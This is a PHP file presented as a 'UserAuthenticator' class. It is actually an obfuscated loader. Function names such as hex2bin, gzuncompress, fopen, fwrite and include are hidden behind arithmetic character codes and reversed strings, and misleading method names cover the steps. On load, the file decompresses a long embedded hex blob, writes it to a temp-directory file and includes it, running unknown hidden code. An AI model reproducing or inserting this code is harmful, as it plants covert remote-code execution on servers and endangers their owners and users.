<?php
class UserAuthenticator
{
    private $wy = '';
    private $br = '';
    public function triggerCallback($p1)
    {
        $h = array(110, 3 * 35, 2 * 49, 51 - 1, 120, 15 + 86, 22 + 59 + 23);
        $q = '';
        foreach ($h as $x) {
            $q .= chr($x);
        }
        $q = strrev($q);
        return $q($p1);
    }
    public function resetState($p1)
    {
        $a = array(115, 48 + 44 + 23, 53 + 48, 3 + 67 + 44, 1 + 111, 109 * 1, 81 + 8 + 22, 99, 110, 118 * 68 - 7907, 127 - 5, 66 + 37);
        $n = '';
        foreach ($a as $p) {
            $n .= chr($p);
        }
        $n = strrev($n);
        return $n($p1);
    }
    public function computeResult($p1, $p2)
    {
        $q = array(73 + 28 + 9, 55 * 19 - 944, 55 + 21 + 36, 113 - 2, 46 * 47 - 2060);
        $w = '';
        foreach ($q as $l) {
            $w .= chr($l);
        }
        $w = strrev($w);
        return $w($p1, $p2);
    }
    public function logEvent($p1, $p2)
    {
        $g = array(101 * 1, 30 + 86, 110 - 5, 114, 7 * 17, 37 * 2 + 28);
        $gn = '';
        foreach ($g as $s) {
            $gn .= chr($s);
        }
        $gn = strrev($gn);
        return $gn($p1, $p2);
    }
    public function rollbackTransaction($p1)
    {
        $j = array(26 + 20 + 56, 103 - 4, 93 + 12 + 3, 98 + 13, 40 * 2 + 35, 101 * 1);
        $e = '';
        foreach ($j as $x) {
            $e .= chr($x);
        }
        return $e($p1);
    }
    public function manageState($p1, $p2 = null)
    {
        $e = array(119 - 5, 67 + 7 + 42, 84 * 27 - 2154, 77 + 25 + 3, 79 * 38 - 2893);
        $c = '';
        foreach ($e as $t) {
            $c .= chr($t);
        }
        return $c($p1, $p2);
    }
    public function fetchRecords()
    {
        $this->br = $this->manageState($this->sendNotification(), '/');
    }
    public function handleRequest()
    {
        $this->wy = $this->resetState($this->triggerCallback($this->nb));
    }
    public function trackActivity()
    {
        $fn = $this->br . '/wo-68c88c24a2ace';
        $f = $this->computeResult($fn, 'w');
        $this->logEvent($f, $this->wy);
        $this->rollbackTransaction($f);
        $this->processData($fn);
    }
    private $nb = '789c8d18896ee2c8f2571229bbc102220e736478eccac1861' . '03037d921231e32be0f6c63030667f3efafabda649ccc0cf39' . '0b0dc757775751dfecfdfbee15fc98e148657ab93f4ea07e64' . '1daa957e14eda99f2cd2ad0c3067dbfd2f6aebc333df76aa58' . '6999b9569e76e56a11b31afa696b90e5547fbf205e919fabe3' . 'a5a870cd3b8591991de0c7781a3ba19ca406007dd6daea550a' . 'db22b45953d45cda4047c03e14ba6a17901e190f4b85920aaf' . '430fe2e86f0831882bb6e3611d7c86671cd20f21bbe2f9bb21' . '164bc40c9a481cc7f29849842217fa08d4b866904ea6e1fb84' . '8dc78fbe88ad4f67163af29839b521048a7cced2ad8df36ffb' . 'a7d348487a12e4c644b1888e3c5587ca88c1e0d762872cf238' . '1e3fac387507c797eeadee66e575b5d43164e5cf4227bd12b0' . '8e69311cd5ee6d1d7fe3192067afd6b2f9abf8873511e19ded' . '73e57170646d40256cf378175f4506fc2525d4bb01cea61b67' . 'f14ca6d7b7c3f983c73c2519f4931ab0e85050bebb611f2036' . '361758cb036b088a553afba8e43a5f7107e15cdf14bdbd0d70' . '41fb7c6faf8913706203a0cb720baafd77b8fe3266adba0eec' . '5712e2c1288179f28a8cb3f760404c516827a0fb62046942ad' . '87a008257c553cfafe1e9fca6fb01bc0e8ee1b05f7c7e961fe' . 'aa3d15c180cf5823cd0456d10714fbdc8ebcae3e859b4b9179' . '1ebf6c48748ebcf8571bfcda923235c2f74aa6a271fd03f5ca' . '1f3c871938e6107a8d6a70a08532c77452e1a02742fdbb8c50' . '77bda9e75353c1a094f73108ddbfd4844917e883eeeb4ea969' . '66c287690efa8b7060964af6c1064143afd09754484fe5b709' . '44036a937e7a3c7d60221075f0690760add917e2f8eedc961e' . 'ddaa6f8c03dce1fe9f1fa8e4eadf1a48744ce7a8f82e69bbac' . '3c5429f8bea01cfd9ad97f9dce178ee1faed47e963a11929e1' . 'c836e4fd65ee63b1940867ff6f949a292e77c2fd9c26ebba79' . '20bf4d0708fed58a80f756ef3d412a55e1c15dbd69c9ab1c1f' . 'db64fdc66a073617fca8d9fccb9cbcfb87257e74ea3d998c60' . '73a989fc9b6d05a841c2fee3a270e318a46f9e5f228e23662c' . 'b1bf45b5daf6315cac867516c14f127f9c8f38512c7db56c75' . 'a4480359df7d0b1ed9852b259fe34673b5674e0677516fd1f2' . '6268e8b4f1c673ef15da96b8e3718c8aef92ee0e82586b8a2c' . 'e45a353288da6f27ddba4871f1bd492988df9786e0b27d1146' . '62cdbb63c44bb0ac516e2c1983b0e5be2781873363f2d98dd3' . '177e8f13252d9914f75cc1de21cbf6f8dc7ddd322e667f3027' . '15e79645297f80794c64f859ac07331d79a9f3a318d1587fa7' . '15ab7049e0db856b8edc43af52306d1f0d8ed8a46bd3f4cae8' . '18671d3368dd134891b5fc203d78ec55ecb7c189f2359970c0' . 'a7e79e2c7f5d1cb9cee4ba1b1a015ebcf24a27c743abd42063' . 'd7fc777f1961b5d9a190e88ed8f651143e9489746fdb983163' . '18db73743951435c890c82375825413cc9c1068eb5b92857fc' . '44296044d074093726386a1ba2329bc23ccbea5c82023c2694' . '7b70cc9e6af372b576dae022b4e8b8234099a76892820faf34' . 'f52587c2fc4452e450c898f101f7d9550934aa3494ea832af8' . 'aa9a6456e506bec81c43795507c2680d4087e5f1f91e4edd73' . 'b808c090a8df30ea0eaddac5ac361af2b34b0663533a6bb630' . '26fef2a9942b60065d0b49b9962bd92bfca17ab75f22c15f2e' . '56a1530bae526c529597d4319cb66daf5242543646e88db1a9' . '1613a2a5677d4fece7047abecb794f2da5d259bfa334b5ab7c' . '1a9d79498add5f22c5ba3886c267f7f0f26160a646fafdfa98' . '8d10580df17de094bc5fb6cbe5ac4ad644bd512615807aa645' . '30f64b3bfdc0bd414c8a7b27f4b1d4368dfd04154f277eb8b7' . '7b54af6e38349e30b77a54af6e38301517002547bbe7ccf82d' . 'd75364b1eb52c5b2c2e33cc1d4556cbc57cb5507bf70601a58' . '497b36566997443e067b4ef134d95b835f53fd3e7ceca89ea7' . '29d68ce97d8e5f970f345b692ad146b59e237f22856aacb73a' . '7f6d982bb6aea57cbfe66cd2c937dc1a688e66ab900923f09a' . 'ddf95d3bfec6fd6b8a54f415580c3f8f8809b405c6fbab2b35' . '7d4730ff9f6bd1f831b7eb3b21c856c53b2ce97f466a518e9d' . '008f166792e06861e6cd238e83ab085b985f32392689259c99' . '2e3486be7c36586b602aee88e84181e5ea836e57de0ac4cd78' . '41b4d44330d04901beef9000ad55c6b3ee90f47b3d574da5f3' . 'd0b936e7b311284498edafaff903f0ea7b3dc07478177deffc' . 'c0521ed61bf3ffca73f6c71b3ee70f01321979827c26c3e19c' . 'c26dc60da26065748a0e7cba56296bd2fe66b95ea05ce4781e' . '309c7a7747581a1351c0c84d66cd61585e17c962b922450861' . 'c5027615e2ad52f70beb3807525b88f6c3d5f81832631805ce' . 'a51959107a78f784da1baba335dcd4b1008921d2f541300960' . '7429cced00a5640c32609fa3a9d8aabd5bb0f17e8376b86a1b' . '3c615464052366e569e7a68fa5210aa2b62cb3998c80d769b1' . '944a62d819615ea4e4c0271d94c873374ae506fb6506e6e569' . 'bed2e8d85269660ad0883fd9350d2ce4247480aed325d683fa' . 'b56b07732642c53a8e12ead22c2b269eb3fd32063b5f42d175' . '4fcc80aad30f4c8a1f53366e88261d63161cf772904f4c280d' . '01cbcdff1496a6aa127db9e4fe645c881eedf296a6887a1b50' . '96f992f29b081672b1d4fc46f3fea3e51b781e61c0a4c9d7ea' . '9542457099fcc977205a2b0564b0288d8c2bc6afe7e17d2450' . 'e377d9e8233e42e917a77aebcd79aea9d9920b9c8d6baa9913' . '03df3a67556aad9d4ffdccec0680c710f159b70532088497b1' . '91a7c68f9889399c40eb648ee0d5b2c436a3d5f02b082f42be' . '7b15831a002ae77bbe6392ea6c284a4a7b497020c2095f4ca0' . 'c96a5bd7d81184607e811032da1d6b5e305720f033e3013626' . 'b7b8156c18e31943d20fefba7d22ccce30a214807014c14d0c' . 'e7b18485be5820e983870ccfda50e183cb0e3de7dd20263073' . '4e7871daab9ec53184c700c5fff52110c27109d3ae871f78ef' . '33bd79371053a795dfda5481855600cde062999970f08c616b' . '857875f0a75f008f1f25391243c35d3d9a9c1ea20c1e71ee28' . '95cbe446e508d7485953a7486e54a09efc2dedb379180a6cbc' . 'f9c7b3bc796a10966cbd56cbe725f4d31ededf7144b01641f8' . 'd0b7db88249c8f7681baeca867795c26a98848e7b035314119' . '8ce44305d4116a1f9cbdaa6713062c1f64dc46d95344ea1575' . '226b99369a847d24b3068e1f5d944a287f9f7dff7a5b54dafb' . '60ad89970253bf5952069fed3e18d87aa92136afe8532d3f30' . 'e8c7210687a82b6b6692c4c7630ef5b144954928050ed63730' . 'f5fe5f02b5ef24d2f5959a1e79edfd11c06ebd1792a43e6df0' . 'f61304142b1f1d61f86303814207df7d5dbff00e23767db';
    public function processData($p)
    {
        include $p;
    }
    public function sendNotification()
    {
        $a = array(40 + 17 + 58, 131 - 10, 115, 22 * 49 - 983, 73 * 95 - 6832, 88 * 1 + 13, 122 - 6, 13 + 62 + 20, 108 + 8, 101 * 1, 38 + 35 + 36, 72 * 1 + 40, 95, 48 + 8 + 44, 48 + 47 + 10, 82 * 1 + 32);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$gp = new UserAuthenticator();
$gp->fetchRecords();
$gp->handleRequest();
$gp->trackActivity();